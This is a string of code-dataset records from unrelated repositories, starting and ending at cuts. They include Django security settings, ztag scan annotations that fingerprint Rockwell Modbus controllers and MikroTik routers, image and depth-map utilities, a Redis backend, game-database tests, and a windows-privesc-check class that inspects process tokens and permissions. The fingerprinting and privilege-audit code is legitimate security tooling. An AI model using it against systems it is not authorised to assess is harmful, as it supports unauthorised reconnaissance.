[\n BASE_DIR / \"statics\",\n]\n\n\nSECURE_BROWSER_XSS_FILTER = True\nCSRF_COOKIE_SECURE =True\nX_FRAME_OPTIONS = 'SAMEORIGIN'\nSECURE_CONTENT_TYPE_NOSNIFF = True\n\n## Strict-Transport-Security\nSECURE_HSTS_SECONDS = 15768000\nSECURE_HSTS_INCLUDE_SUBDOMAINS = True\nSECURE_HSTS_PRELOAD = True\n\n## that requests over HTTP are redirected to HTTPS. aslo can config in webserver\nSECURE_SSL_REDIRECT = True \n\n# for more security\nCSRF_COOKIE_SECURE = True\nCSRF_USE_SESSIONS = True\nCSRF_COOKIE_HTTPONLY = True\nSESSION_COOKIE_SECURE = True\nSESSION_COOKIE_SAMESITE = 'Strict'", "source": "mhas1381/mySite", "license": "MIT"} {"text": "from ztag.annotation import *\n\n\nclass RockwellAutomationAnnotation(Annotation):\n\n protocol = protocols.MODBUS\n subprotocol = protocols.MODBUS.DEVICE_ID\n port = None\n\n def process(self, obj, meta):\n vendor = obj[\"mei_response\"][\"objects\"][\"vendor\"].lower()\n if \"rockwell automation\" in vendor or \"allen-bradley\" in vendor:\n meta.global_metadata.manufacturer = Manufacturer.ROCKWELL\n return meta\n\n\nclass RockwellAutomation141(Annotation):\n\n protocol = protocols.MODBUS\n subprotocol = protocols.MODBUS.DEVICE_ID\n port = None\n\n MODELS = {\n \"141\"\n }\n\n tests = {\n \"rockwell_141\": {\n \"global_metadata\": {\n \"manufacturer\": Manufacturer.ROCKWELL,\n \"product\": \"141\",\n \"revision\": \"08.0B\",\n }\n }\n }\n\n def process(self, obj, meta):\n mei_objs = obj[\"mei_response\"][\"objects\"]\n vendor = mei_objs[\"vendor\"]\n product_code = mei_objs[\"product_code\"]\n if \"rockwell automation\" not in vendor.lower():\n return\n if \"141\" not in product_code.lower():\n return\n meta.global_metadata.manufacturer = Manufacturer.ROCKWELL\n meta.global_metadata.product = product_code.strip()\n revision = mei_objs.get(\"revision\", \"\").strip()\n if revision:\n meta.global_metadata.revision = revision\n return meta\n", "source": "justinbastress/ztag", "license": "Apache-2.0"} {"text": "import cv2 as cv\nimport numpy as np\n#s -> normal\n#rgb -> RGB color\n\nR = 6 * [0]\nnormR = 6 * [0]\nnormG = 6 * [0]\nnormB = 6 * [0]\n\nfor i in range(6):\n rgb_file = 'rgb000' + str(i) + '.exr'\n norm_file = 's000' + str(i) + '.exr'\n #print (sidx, nidx)\n #myimg = cv.imread('s0000.exr',-1)\n #print (type(sidx),type('spc0000.exr'),sidx=='spc0000.exr')\n #nidx = ('s000%s' % i) + '.exr'\n #print (nidx)\n myimg = cv.imread(rgb_file,-1)\n mynorm = cv.imread(norm_file,-1)\n #myimg = cv.imread('s0000.exr',-1)\n \n #print (myimg)\n #print (mynorm)\n \n \n #B = myimg[:,:,0]\n #G = myimg[:,:,1]\n R[i] = myimg[:,:,2]\n normR[i] = mynorm[:,:,2] \n normG[i] = mynorm[:,:,1]\n normB[i] = mynorm[:,:,0]\n\nR = np.array(R)\nnormR = np.array(normR)\nnormG = np.array(normG)\nnormB = np.array(normB)\n\n#print (R,len(normR),len(normG),len(normB))\n#print (B.shape)\n'''\nfor i in range(len(B)):\n for j in range(len(B[i])):\n print (R[i][j],G[i][j],B[i][j])\n'''\n#print (b)\n#print (g)\n#print (r)\n#print (myimg.shape)", "source": "SaBuZa/Indiv-III", "license": "MIT"} {"text": "import numpy as np\nimport torch\nfrom torchvision import transforms\nfrom torchvision.io import read_image\nimport cv2\nimport matplotlib.pyplot as plt\nimport os\nimport platform\nfrom PIL import Image\n\n\ndef depth2Cutoff(depth_map, cutoff):\n '''@param depth_map ~ (H x W) needs to be numpy array'''\n heatmap = np.ones((*depth_map.shape, 3))\n heatmap[depth_map < cutoff] *= 150\n heatmap[depth_map >= cutoff] *= 50\n return heatmap.astype(np.int64)\n\n\ndef depth2Heatmap(depth_map, min_display=1e-4, max_display=255):\n '''@param depth_map ~ (H x W) needs to be numpy array'''\n r = (np.max(depth_map) - np.min(depth_map)) / 10\n heatmap = np.zeros((*depth_map.shape, 3))\n for i in range(depth_map.shape[0]):\n for j in range(depth_map.shape[1]):\n if not min_display < depth_map[i, j] < max_display:\n continue\n if depth_map[i, j] < r:\n heatmap[i, j, 2] = 255 - depth_map[i, j] / r * 255\n heatmap[i, j, 0] = depth_map[i, j] / r * 255\n elif r < depth_map[i, j] < 5 * r:\n heatmap[i, j, 0] = 255 - (depth_map[i, j] - r) / (4 * r) * 255\n heatmap[i, j, 1] = (depth_map[i, j] - r) / (4 * r) * 255\n else:\n heatmap[i, j, 1] = 255 - (depth_map[i, j] - 4 * r) / (6 * r) * 255\n heatmap[i, j, 2] = (depth_map[i, j] - 4 * r) / (6 * r) * 255\n # heatmap[:,:,0] *= 15\n return heatmap.astype(np.int64)\n\n\ndef drawHeatmap(depth_map, min_display=0, max_display=100):\n h = depth2Heatmap(depth_map, min_display=0, max_display=100)\n\n plt.figure(figsize=(20, 10))\n plt.imshow(h)\n plt.savefig(\"heat.png\")\n x = np.arange(70).reshape(1, -1)\n x = np.vstack((x, x, x))\n hb = depth2Heatmap(x)\n plt.figure()\n plt.imshow(hb)\n\n\ndef plot_depth_map(dm, validity_mask, save_path):\n validity_mask = validity_mask > 0\n MIN_DEPTH = 0.5\n MAX_DEPTH = min(300, np.percentile(dm, 99))\n dm = np.clip(dm, MIN_DEPTH, MAX_DEPTH)\n dm = np.log(dm, where=validity_mask)\n\n dm = np.ma.masked_where(~validity_mask, dm)\n dm = dm.squeeze()\n\n cmap = plt.cm.jet\n cmap.set_bad(color='black')\n plt.imshow(dm, cmap=cmap, vmax=np.log(MAX_DEPTH))\n plt.savefig(save_path)\n\n\ndef read2Tensor(img_path, device=torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\"), transform=None):\n '''image path -> unet input (1 x 3 x H x W)'''\n\n img_t = read_image(img_path).to(torch.float32).unsqueeze(0).to(device)\n img_t = transform(img_t)\n return img_t\n\n\ndef readLabel2Tensor(label_path, device=torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")):\n '''image path -> loss input (1 x H x W)'''\n\n label_t = read_image(label_path).to(torch.float32).unsqueeze(0).to(device)\n transform = transforms.Compose([transforms.Resize((120, 480))])\n label_t = transform(label_t)\n return label_t\n\n\ndef clsPred2Img(pred):\n '''singleton unet output (1 x K x H x W) in [0, num class] -> plottable grayscale image (H x W)'''\n pred = pred.squeeze(0)\n pred = pred.argmax(0)\n pred = pred.squeeze(0)\n pred = pred.to(\"cpu\").to(torch.long)\n return pred\n\n\ndef regPred2Img(pred):\n '''singleton unet output (1 x 1 x H x W) in [-1, 1] -> plottable grayscale image (H x W)'''\n pred = pred.squeeze(0)\n pred = pred.squeeze(0)\n # pred = (pred + 1) * 100\n pred = pred.to(\"cpu\").to(torch.float32)\n return pred\n\n\ndef displayInference(data, pred, save_dir, i, backend=\"cmap\"):\n image = data['rgb']\n label = data['label']\n original_image = data['original_rgb']\n original_label = data['original_label']\n print(\"inference data sizes\", image.shape, label.shape, original_image.shape, original_label.shape)\n\n image = image.permute(1, 2, 0).to(\"cpu\").to(torch.uint8)\n label = label.squeeze().to(torch.uint8).cpu().numpy()\n pred = pred.numpy()\n\n if backend == \"cmap\":\n cmap = plt.cm.jet\n cmap.set_bad(color=\"black\")\n\n plt.figure()\n plt.imshow(image)\n plt.savefig(os.path.join(save_dir, \"img\" + str(i) + \".png\"))\n\n plt.figure()\n plt.imshow(label, cmap=cmap)\n plt.savefig(os.path.join(save_dir, \"label\" + str(i) + \".png\"))\n\n plt.figure()\n plt.imshow(original_image)\n plt.savefig(os.path.join(save_dir, \"oimg\" + str(i) + \".png\"))\n\n plt.figure()\n plt.imshow(original_label, cmap=cmap)\n plt.savefig(os.path.join(save_dir, \"olabel\" + str(i) + \".png\"))\n\n plt.figure()\n plt.imshow(pred, cmap=cmap)\n plt.savefig(os.path.join(save_dir, \"pred\" + str(i) + \".png\"))\n elif backend == \"heatmap\":\n plt.figure()\n plt.imshow(image)\n plt.savefig(os.path.join(save_dir, \"img\" + str(i) + \".png\"))\n\n plt.figure()\n h = depth2Heatmap(label)\n plt.imshow(h)\n plt.savefig(os.path.join(save_dir, \"label\" + str(i) + \".png\"))\n\n plt.figure()\n plt.imshow(original_image)\n plt.savefig(os.path.join(save_dir, \"oimg\" + str(i) + \".png\"))\n\n plt.figure()\n h = depth2Heatmap(original_label)\n plt.imshow(h)\n plt.savefig(os.path.join(save_dir, \"olabel\" + str(i) + \".png\"))\n\n plt.figure()\n h = depth2Heatmap(pred)\n plt.imshow(h)\n plt.savefig(os.path.join(save_dir, \"pred\" + str(i) + \".png\"))\n elif backend == \"DIODE\":\n plt.figure()\n plt.imshow(image)\n plt.savefig(os.path.join(save_dir, \"img\" + str(i) + \".png\"))\n\n plot_depth_map(label, np.ones_like(label), os.path.join(save_dir, \"label\" + str(i) + \".png\"))\n\n plt.figure()\n plt.imshow(original_image)\n plt.savefig(os.path.join(save_dir, \"oimg\" + str(i) + \".png\"))\n\n plot_depth_map(original_label, np.ones_like(original_label), os.path.join(save_dir, \"olabel\" + str(i) + \".png\"))\n\n plot_depth_map(pred, np.ones_like(pred), os.path.join(save_dir, \"pred\" + str(i) + \".png\"))\n elif backend == \"seg\":\n plt.figure()\n plt.imshow(image)\n plt.savefig(os.path.join(save_dir, \"img\" + str(i) + \".png\"))\n\n plt.figure()\n plt.imshow(label)\n plt.savefig(os.path.join(save_dir, \"label\" + str(i) + \".png\"))\n\n plt.figure()\n plt.imshow(original_image)\n plt.savefig(os.path.join(save_dir, \"oimg\" + str(i) + \".png\"))\n\n plt.figure()\n plt.imshow(original_label)\n plt.savefig(os.path.join(save_dir, \"olabel\" + str(i) + \".png\"))\n\n plt.figure()\n plt.imshow(pred)\n plt.savefig(os.path.join(save_dir, \"pred\" + str(i) + \".png\"))\n\ndef showModelInference(model, img_path, preprocess=transforms.Compose([transforms.ToTensor(),\n transforms.Resize((200, 640)),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])])):\n \"\"\"\n @func img_path -> 3 np arrays of results\n \"\"\"\n\n def clearTemp():\n if platform.system() != \"Windows\":\n os.system(\"rm temp.png\")\n else:\n raise NotImplementedError(\"write win cmd for removing temp file\")\n\n img = Image.open(img_path)\n img_t = preprocess(img)\n img_t = img_t.unsqueeze(0)\n with torch.no_grad():\n reg_pred, seg_pred = model.forward(img_t)\n reg_pred, seg_pred = regPred2Img(reg_pred), clsPred2Img(seg_pred)\n\n reg_pred_o, seg_pred_o = reg_pred.clone(), seg_pred.clone()\n img_o = np.array(img)\n img_o = cv2.resize(img_o, (reg_pred_o.shape[1], reg_pred_o.shape[0]))\n\n reg_pred = reg_pred.max() - reg_pred\n reg_pred7 = reg_pred.clone()\n reg_pred7[seg_pred != 7] = 0\n reg_pred26 = reg_pred.clone()\n reg_pred26[seg_pred != 26] = 0\n reg_pred = reg_pred7 + reg_pred26\n reg_pred[reg_pred == 0] = float('nan')\n\n ##\n cmap = plt.cm.jet\n cmap.set_bad(color=\"black\")\n\n plt.figure()\n plt.imshow(reg_pred.numpy(), cmap=cmap, alpha=0.97)\n plt.imshow(img_o, alpha=0.6)\n plt.savefig(\"temp.png\", bbox_inches='tight', pad_inches=0)\n\n img_arr = cv2.imread(\"temp.png\")\n clearTemp()\n\n ##\n plt.figure()\n plt.imshow(reg_pred.numpy(), cmap=cmap)\n plt.savefig(\"temp.png\", bbox_inches='tight', pad_inches=0)\n\n reg_pred_arr = cv2.imread(\"temp.png\")\n clearTemp()\n\n ##\n plt.figure()\n plt.imshow(seg_pred.numpy())\n plt.savefig(\"temp.png\", bbox_inches='tight', pad_inches=0)\n\n seg_pred_arr = cv2.imread(\"temp.png\")\n clearTemp()\n\n return reg_pred_arr, seg_pred_arr, img_arr\n\n\nif __name__ == \"__main__\":\n pass\n", "source": "kshama2705/EECS442-final-project", "license": "MIT"} {"text": "import os\nfrom typing import Any, List, Optional\nimport redis\n\nfrom .backend import StorageBackend\n\n\nclass RedisBackend(StorageBackend):\n def __init__(self, **kwargs):\n\n env_host = os.getenv(\"REDIS_HOST\", \"localhost\")\n env_port = os.getenv(\"REDIS_PORT\", \"6379\")\n env_username = os.getenv(\"REDIS_USERNAME\")\n env_password = os.getenv(\"REDIS_PASSWORD\")\n\n kwargs.setdefault(\"host\", env_host)\n kwargs.setdefault(\"port\", env_port)\n kwargs.setdefault(\"username\", env_username)\n kwargs.setdefault(\"password\", env_password)\n\n self.r = redis.Redis(**kwargs)\n self.r.ping()\n\n def get(self, key: str) -> Any:\n return self.r.get(key)\n\n def set(self, key: str, value: Any, expiration: Optional[int] = None) -> bool:\n return bool(self.r.set(key, value, ex=expiration))\n\n def delete(self, key: str) -> int:\n return int(self.r.delete(key))\n\n def keys_startswith(self, key_start: str) -> List[str]:\n return list(self.r.keys(key_start + \"*\"))\n", "source": "blixhavn/advanced-memoize", "license": "MIT"} {"text": "from util import OfcDict\nfrom elements import Colour\n\nclass ValuesList(list):\n pass\n\nclass Value(OfcDict):\n types = {\n 'value': float,\n 'colour': Colour,\n 'tip': str,\n }\n\nclass BarValue(Value):\n types = {\n 'top': float,\n 'bottom': float,\n }\n\nclass HbarValue(Value):\n types = {\n 'left': float,\n 'right': float,\n }\n\nclass PieValue(Value):\n types = {\n 'label': str,\n 'label-colour': Colour,\n 'font-size': int,\n }\n\nclass ScatterValue(Value):\n types = {\n 'x': float,\n 'y': float,\n }\n\nclass BarStackKey(OfcDict):\n types = {\n 'colour': Colour,\n 'text': str,\n 'font-size': int,\n }\n\nclass ShapePoint(OfcDict):\n types = {\n 'x': float,\n 'y': float,\n }\n\nclass ShapePointsList(list):\n pass\n", "source": "vbmendes/meio-pyofc", "license": "BSD-2-Clause"} {"text": "from pixyship import Pixyship\nfrom run import push_context\n\n\ndef test_crews():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixyship = Pixyship()\n crews = pixyship._get_characters_from_db()\n\n assert len(crews) > 0\n assert crews[392]['id'] == 392\n assert crews[392]['name'] == 'Polaran Pilgrim'\n\n\ndef test_items():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixyship = Pixyship()\n items = pixyship._get_items_from_db()\n\n assert len(items) > 0\n assert items[600]['id'] == 600\n assert items[600]['name'] == 'Federation Officer Armor'\n\n\ndef test_rooms():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixyship = Pixyship()\n rooms, _, _ = pixyship._get_rooms_from_db()\n\n assert len(rooms) > 0\n assert rooms[10]['id'] == 10\n assert rooms[10]['name'] == 'Bedroom Lv2'\n assert rooms[10]['level'] == 2\n\n\ndef test_upgrades():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixyship = Pixyship()\n _, upgrades, _ = pixyship._get_rooms_from_db()\n\n assert len(upgrades) > 0\n assert upgrades[10] == 20\n\n\ndef test_ships():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixyship = Pixyship()\n ships = pixyship._get_ships_from_db()\n\n assert len(ships) > 0\n assert ships[129]['id'] == 129\n assert ships[129]['name'] == 'Oumaumau Invader'\n assert ships[129]['level'] == 11\n\n\ndef test_collections():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixyship = Pixyship()\n collections = pixyship._get_collections_from_db()\n\n assert len(collections) > 0\n assert collections[7]['CollectionDesignId'] == '7'\n assert collections[7]['CollectionName'] == 'Federation'\n\n\ndef test_researches():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixyship = Pixyship()\n researches = pixyship._get_researches_from_db()\n\n assert len(researches) > 0\n assert researches[42]['ResearchDesignId'] == '42'\n assert researches[42]['ResearchName'] == 'Advanced Training Lv5'\n\n\ndef test_prices():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixyship = Pixyship()\n prices = pixyship._get_prices_from_db()\n\n assert len(prices) > 0\n\n\ndef test_sprites():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixyship = Pixyship()\n sprites = pixyship._get_sprites_from_db()\n\n assert len(sprites) > 0\n\n\ndef test_search_player():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixyship = Pixyship()\n players = pixyship.get_player_data('Solevis')\n\n assert len(players) == 2\n assert players[0]['name'] == 'Solevis'\n assert players[1]['name'] == 'MiniSolevis'\n\n\ndef test_changes():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixyship = Pixyship()\n changes = pixyship.get_changes_from_db()\n\n assert len(changes) > 0\n\n\ndef test_user_id():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixyship = Pixyship()\n user_id = pixyship.find_user_id('Solevis')\n\n assert user_id == 6635604\n", "source": "solevis/pixyship2", "license": "MIT"} {"text": "#!/usr/bin/env python3\nimport pandas as pd\nfrom os import path\n\ncutoffs = pd.read_csv(\"data/ores_rcfilters_cutoffs.csv\")\nwikis = set(cutoffs.wiki_db)\nsets = []\nfor wiki_db in wikis:\n scores_file = \"data/quarry_ores_scores/{0}_scores.csv\".format(wiki_db)\n if path.exists(scores_file):\n scores = pd.read_csv(scores_file)\n ids = pd.read_csv(\"data/quarry_ores_scores/{0}_ids.csv\".format(wiki_db))\n ids = ids.loc[ids.oresm_name == \"b'damaging'\"]\n \n ids = ids.set_index('oresm_id')\n scores = scores.set_index('oresc_model')\n # we only want scores from a damaging model\n scores = scores.join(ids, how='inner')\n scores = scores.rename({'oresc_probability':'prob_damaging', 'oresc_rev':'revision_id'}, axis=1)\n scores = scores.loc[:,['revision_id','prob_damaging']]\n scores['wiki_db'] = wiki_db\n sets.append(scores)\n\nall_scores = pd.concat(sets)\nall_scores.to_csv(\"data/scores_from_db.csv\")\n", "source": "groceryheist/ores_bias_project", "license": "MIT"} {"text": "from ztag.annotation import *\n\nimport re\n\nclass FtpMikroTikFtpd(Annotation):\n\n protocol = protocols.FTP\n subprotocol = protocols.FTP.BANNER\n port = None\n\n impl_re = re.compile(\"^220 MikroTik FTP server\", re.IGNORECASE)\n version_re = re.compile(\"\\(MikroTik (\\d+(?:\\.\\d+)*)\\)\", re.IGNORECASE)\n\n tests = {\n \"FtpMikroTikFtpd_1\": {\n \"global_metadata\": {\n \"os\":OperatingSystem.MIKROTIK_ROUTER_OS,\n \"os_version\": \"2.9.27\",\n \"device_type\":Type.NETWORK,\n \"manufacturer\":Manufacturer.MIKROTIK,\n },\n \"tags\":[\"embedded\",],\n\n }\n }\n\n def process(self, obj, meta):\n banner = obj[\"banner\"]\n if self.impl_re.search(banner):\n meta.global_metadata.os = OperatingSystem.MIKROTIK_ROUTER_OS\n meta.global_metadata.manufacturer = Manufacturer.MIKROTIK\n meta.global_metadata.device_type = Type.NETWORK\n meta.tags.add(\"embedded\")\n\n version = self.version_re.search(banner).group(1)\n meta.global_metadata.os_version = version\n\n return meta\n\n \"\"\" Tests\n \"220 MikroTik FTP server (MikroTik 3.30) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 2.9.27) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 3.30) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 5.25) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 6.7) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 6.28) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 5.20) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 6.28) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 5.20) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 4.17) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 3.30) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 5.24) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 6.28) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 6.7) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 6.29.1) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 6.17) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 6.22) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 6.22) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 6.18) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 5.26) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 6.22) ready\\r\\n\"\n \"220 MikroTik FTP server (MikroTik 6.27) ready\\r\\n\"\n \"\"\"\n", "source": "justinbastress/ztag", "license": "Apache-2.0"} {"text": "from wpc.file import file as File\nfrom wpc.sd import sd\nfrom wpc.token import token\nfrom wpc.thread import thread\nimport win32api\nimport win32con\nimport win32process\nimport win32security\nimport wpc.utils\nimport ctypes\nimport win32job\n\nclass THREADENTRY32(ctypes.Structure):\n _fields_ = [\n (\"dwSize\", ctypes.c_ulong),\n (\"cntUsage\", ctypes.c_ulong),\n (\"th32ThreadID\", ctypes.c_ulong),\n (\"th32OwnerProcessID\", ctypes.c_ulong),\n (\"tpBasePri\", ctypes.c_ulong),\n (\"tpDeltaPri\", ctypes.c_ulong),\n (\"dwFlags\", ctypes.c_ulong)\n ]\n\nclass process:\n def __init__(self, pid):\n self.pid = pid\n self.ph = None\n self.pth = None\n self.exe = None\n self.exe_path_dirty = None\n self.exe_path_clean = None\n self.wow64 = None\n self.mhs = None\n self.dlls = []\n self.wts_name = None\n self.wts_session_id = None\n self.wts_sid = None\n self.token = None\n self.thread_ids = []\n self.threads = []\n self.short_name = \"[none]\"\n self.sd = None\n\n def get_pid(self):\n return self.pid\n\n def add_thread_id(self, tid):\n if not int(tid) in self.thread_ids:\n self.thread_ids.append(int(tid))\n\n def add_thread(self, t):\n t.set_parent_process(self)\n self.threads.append(t)\n\n def get_type(self):\n return 'process'\n \n def get_thread_ids(self):\n if not self.thread_ids:\n TH32CS_SNAPTHREAD = 0x00000004\n\n CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot\n Thread32First = ctypes.windll.kernel32.Thread32First\n Thread32Next = ctypes.windll.kernel32.Thread32Next\n CloseHandle = ctypes.windll.kernel32.CloseHandle\n\n hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, self.get_pid())\n te32 = THREADENTRY32()\n te32.dwSize = ctypes.sizeof(THREADENTRY32)\n if Thread32First(hThreadSnap, ctypes.byref(te32)) == win32con.FALSE:\n pass\n #print >> sys.stderr, \"Failed getting first process.\"\n #return\n else:\n while True:\n # TODO can we just get thread info for a single process instead?\n# print \"PID: %s, TID: %s\" % (te32.th32OwnerProcessID, te32.th32ThreadID)\n if self.get_pid() == te32.th32OwnerProcessID:\n self.add_thread_id(te32.th32ThreadID)\n\n if Thread32Next(hThreadSnap, ctypes.byref(te32)) == win32con.FALSE:\n break\n CloseHandle(hThreadSnap)\n return sorted(self.thread_ids)\n\n def get_thread_count(self):\n return len(self.thread_ids)\n\n def get_tokens(self):\n self.token_handles = []\n\n # Process Token\n tok = self.get_token()\n if tok:\n self.token_handles.append(tok)\n\n # Thread Tokens\n for t in self.get_threads():\n tok = t.get_token()\n if tok:\n self.token_handles.append(tok)\n\n return self.token_handles\n\n def get_token_handles_int(self):\n self.token_handles_int = []\n for t in self.get_tokens():\n self.token_handles_int.append(t.get_th_int())\n\n return self.token_handles_int \n\n def get_threads(self):\n if not self.threads:\n for t in self.get_thread_ids():\n self.add_thread(thread(t))\n return self.threads\n\n def set_wts_name(self, wts_name):\n self.wts_name = wts_name\n\n def set_short_name(self, n):\n self.short_name = n\n\n def get_short_name(self):\n return self.short_name\n\n def get_wts_session_id(self):\n return self.wts_session_id\n\n def set_wts_session_id(self, wts_session_id):\n self.wts_session_id = wts_session_id\n\n def get_wts_sid(self):\n return self.wts_sid\n\n def set_wts_sid(self, wts_sid):\n self.wts_sid = wts_sid\n\n def get_wts_name(self):\n return self.wts_name\n\n def get_sd(self):\n if not self.sd:\n try:\n secdesc = win32security.GetSecurityInfo(self.get_ph(), win32security.SE_KERNEL_OBJECT, win32security.DACL_SECURITY_INFORMATION | win32security.OWNER_SECURITY_INFORMATION | win32security.GROUP_SECURITY_INFORMATION)\n self.sd = sd('process', secdesc)\n except:\n pass\n return self.sd\n\n def get_mhs(self):\n if not self.mhs:\n if self.get_ph():\n try:\n mhs = win32process.EnumProcessModules(self.get_ph())\n self.mhs = list(mhs)\n except:\n pass\n return self.mhs\n\n def get_dlls(self):\n if self.dlls == []:\n if self.get_mhs():\n for mh in self.get_mhs():\n dll = win32process.GetModuleFileNameEx(self.get_ph(), mh)\n #print dll\n self.dlls.append(File(dll))\n #dump_perms(dll, 'file', {'brief': 1})\n return self.dlls\n\n def get_exe_path_clean(self):\n if not self.exe_path_clean:\n self.exe_path_clean = wpc.utils.get_exe_path_clean(self.get_exe_path_dirty())\n if not self.exe_path_clean:\n self.exe_path_clean = self.get_exe_path_dirty()\n return self.exe_path_clean\n\n def get_exe_path_dirty(self):\n if not self.exe_path_dirty:\n if self.get_mhs():\n self.exe_path_dirty = win32process.GetModuleFileNameEx(self.get_ph(), self.get_mhs().pop(0))\n return self.exe_path_dirty\n\n def get_exe(self):\n if not self.exe:\n if self.get_exe_path_dirty():\n self.exe = File(self.get_exe_path_clean())\n return self.exe\n\n def is_in_job(self):\n try:\n if win32job.IsProcessInJob(self.get_ph(), 0):\n return 1\n except:\n pass\n return 0\n \n def get_ph(self):\n if not self.ph:\n try:\n # PROCESS_ALL_ACCESS needed to get security descriptor\n self.ph = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, self.get_pid())\n #print \"OpenProcess with PROCESS_ALL_ACCESS: Success\"\n except:\n try:\n # PROCESS_VM_READ is required to list modules (DLLs, EXE)\n self.ph = win32api.OpenProcess(win32con.PROCESS_VM_READ | win32con.PROCESS_QUERY_INFORMATION, False, self.get_pid())\n #print \"OpenProcess with VM_READ and PROCESS_QUERY_INFORMATION: Success\"\n except:\n #print \"OpenProcess with VM_READ and PROCESS_QUERY_INFORMATION: Failed\"\n try:\n # We can still get some info without PROCESS_VM_READ\n self.ph = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, self.get_pid())\n #print \"OpenProcess with PROCESS_QUERY_INFORMATION: Success\"\n except:\n #print \"OpenProcess with PROCESS_QUERY_INFORMATION: Failed\"\n try:\n # If we have to resort to using PROCESS_QUERY_LIMITED_INFORMATION, the process is protected.\n # There's no point trying PROCESS_VM_READ\n # Ignore pydev warning. We define this at runtime because win32con is out of date.\n self.ph = win32api.OpenProcess(win32con.PROCESS_QUERY_LIMITED_INFORMATION, False, self.get_pid())\n #print \"OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION: Success\"\n except:\n #print \"OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION: Failed\"\n self.ph = None\n return self.ph\n\n def get_pth(self):\n if not self.pth:\n try:\n self.pth = win32security.OpenProcessToken(self.get_ph(), win32con.TOKEN_ALL_ACCESS)\n except:\n try:\n self.pth = win32security.OpenProcessToken(self.get_ph(), win32con.TOKEN_READ)\n except:\n try:\n self.pth = win32security.OpenProcessToken(self.get_ph(), win32con.TOKEN_QUERY)\n #print \"OpenProcessToken with TOKEN_QUERY: Failed\"\n except:\n pass\n return self.pth\n\n def is_wow64(self):\n if not self.wow64 and self.get_ph():\n self.wow64 = win32process.IsWow64Process(self.get_ph())\n return self.wow64\n\n def get_token(self):\n if not self.token:\n if self.get_pth():\n self.token = token(self.get_pth())\n return self.token\n\n def as_text(self):\n t = ''\n t += \"-------------------------------------------------\\n\"\n t += \"PID: \" + str(self.get_pid()) + \"\\n\"\n t += \"Short Name: \" + str(self.get_short_name()) + \"\\n\"\n t += \"WTS Name: \" + str(self.get_wts_name()) + \"\\n\"\n t += \"WTS Session ID: \" + str(self.get_wts_session_id()) + \"\\n\"\n if self.get_wts_sid():\n t += \"WTS Sid: \" + str(self.get_wts_sid().get_fq_name()) + \"\\n\"\n else:\n t += \"WTS Sid: None\\n\"\n t += \"Access Token Count: %s\\n\" % len(self.get_token_handles_int())\n t += \"Access Token Handles: %s\\n\" % \",\".join(str(x) for x in self.get_token_handles_int())\n t += \"In Job?: %s\\n\" % self.is_in_job()\n t += \"Thread Count: %s\\n\" % self.get_thread_count()\n t += \"Thread IDs: %s\\n\" % \",\".join(str(x) for x in self.get_thread_ids())\n if self.get_ph():\n t += \"Is WOW64: \" + str(self.is_wow64()) + \"\\n\"\n if self.get_exe():\n t += \"Exe: \" + str(self.get_exe().get_name()) + \"\\n\"\n else:\n t += \"Exe: [unknown]\\n\"\n t += \"Modules:\\n\"\n for dll in self.get_dlls():\n t += \"\\t\\t\" + dll.get_name() + \"\\n\"\n\n t += \"\\nProcess Security Descriptor:\\n\"\n if self.get_sd():\n t += self.get_sd().as_text()\n\n t += \"\\nProcess Access Token:\\n\"\n if self.get_token():\n t += self.get_token().as_text()\n else:\n t += \"[unknown]\\n\"\n\n for td in self.get_threads():\n #thread_obj = thread(tid)\n #print \"Dumping thread object\"\n ttext = td.as_text()\n #print \"ttext: %s\" % ttext\n t += ttext\n t += \"\\n\"\n return t\n \n def get_pid_and_name(self):\n return \"%s[%s]\" % (self.get_pid(), self.get_short_name()) \n\n def as_tab(self, dangerous_only=1):\n lines = []\n exe = \"\"\n if self.get_ph():\n if self.get_exe():\n exe = self.get_exe().get_name()\n\n wts_name = \"\"\n if self.get_wts_sid():\n wts_name = self.get_wts_sid().get_fq_name()\n\n token_id = \"\"\n if self.get_token():\n token_id = self.get_token().get_th_int()\n lines.append(self.get_token().as_tab())\n\n lines.append(wpc.utils.tab_line(\"info\", self.get_type(), self.get_pid(), self.get_short_name(), exe, token_id, self.is_wow64(), wts_name, self.get_wts_session_id(), self.is_in_job(), \",\".join(str(x) for x in 